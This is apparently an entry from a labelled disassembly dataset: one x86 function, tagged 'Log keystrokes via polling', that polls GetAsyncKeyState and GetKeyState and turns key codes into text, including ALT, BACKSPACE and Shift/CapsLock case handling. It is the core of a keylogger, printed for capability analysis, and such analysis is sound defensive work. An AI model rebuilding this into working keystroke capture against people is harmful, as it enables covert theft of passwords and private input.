Function at 0x4026d8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp], eax
call method.std::string.clear__
mov eax, dword [0x488d60]
cmp eax, 0x12
jne 0x40270e
mov dword [esp], 0x12
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jne 0x40270e
mov al, 1
jmp 0x402710
mov al, 0
test al, al
je 0x402734
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], str.__ALT_
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [0x488d60], 0
cmp dword [ebp + 0xc], 0x43
jne 0x40274e
mov dword [esp], 0x11
call sym._GetKeyState_4
sub esp, 4
test ax, ax
js 0x402768
cmp dword [ebp + 0xc], 0x63
jne 0x40276c
mov dword [esp], 0x11
call sym._GetKeyState_4
sub esp, 4
test ax, ax
jns 0x40276c
mov al, 1
jmp 0x40276e
mov al, 0
test al, al
je 0x40277c
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0x12
jne 0x4027c0
mov eax, dword [0x488d60]
cmp eax, 0x12
je 0x4027b6
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], str._ALT_
mov dword [esp], eax
call method.std::string.operator_char_const_
mov dword [0x488d60], 0x12
mov eax, 1
jmp 0x402a38
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 8
jne 0x4027e6
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], str._BACKSPACE_
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 1
jmp 0x402a38
cmp dword [ebp + 0xc], 0x20
jne 0x40280c
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], 0x480122
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0x2e
jne 0x402832
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], str._DELETE_
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 9
jne 0x402858
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], 0x480107
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 1
jne 0x40287e
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], 0x480107
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0xd
jne 0x4028a4
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], 0x480107
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0x11
jne 0x4028b4
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0x90
jne 0x4028dd
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], str._NUM_LOCK_
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 2
jmp 0x402a38
cmp dword [ebp + 0xc], 0xbe
je 0x4028ec
cmp dword [ebp + 0xc], 0x6e
jne 0x40290c
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [esp + 4], 0x480138
mov dword [esp], eax
call method.std::string.operator_char_const_
mov eax, 1
jmp 0x402a38
cmp dword [ebp + 0xc], 0x5f
jle 0x40293e
cmp dword [ebp + 0xc], 0x69
jg 0x40293e
sub dword [ebp + 0xc], 0x30
mov eax, dword [ebp + 0xc]
movsx eax, al
mov edx, dword [ebp + 8]
add edx, 0x10
mov dword [esp + 4], eax
mov dword [esp], edx
call method.std::string.operator_char_
mov eax, 1
jmp 0x402a38
cmp dword [ebp + 0xc], 0x2f
jle 0x40296c
cmp dword [ebp + 0xc], 0x3b
jg 0x40296c
mov eax, dword [ebp + 0xc]
movsx eax, al
mov edx, dword [ebp + 8]
add edx, 0x10
mov dword [esp + 4], eax
mov dword [esp], edx
call method.std::string.operator_char_
mov eax, 1
jmp 0x402a38
cmp dword [ebp + 0xc], 1
jne 0x40297c
cmp dword [ebp + 0xc], 2
je 0x402a33
cmp dword [ebp + 0xc], 0x40
jle 0x402a2c
cmp dword [ebp + 0xc], 0x5a
jg 0x402a2c
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
test ax, ax
je 0x4029b8
mov dword [esp], 0x10
call sym._GetKeyState_4
sub esp, 4
test ax, ax
jns 0x4029e0
mov dword [esp], 0x14
call sym._GetKeyState_4
sub esp, 4
test ax, ax
jne 0x4029e4
mov dword [esp], 0x10
call sym._GetKeyState_4
sub esp, 4
test ax, ax
jns 0x4029e4
mov al, 1
jmp 0x4029e6
mov al, 0
test al, al
je 0x402a09
mov eax, dword [ebp + 0xc]
movsx eax, al
mov edx, dword [ebp + 8]
add edx, 0x10
mov dword [esp + 4], eax
mov dword [esp], edx
call method.std::string.operator_char_
mov eax, 1
jmp 0x402a38
add dword [ebp + 0xc], 0x20
mov eax, dword [ebp + 0xc]
movsx eax, al
mov edx, dword [ebp + 8]
add edx, 0x10
mov dword [esp + 4], eax
mov dword [esp], edx
call method.std::string.operator_char_
mov eax, 1
jmp 0x402a38
mov eax, 2
jmp 0x402a38
mov eax, 0
leave
ret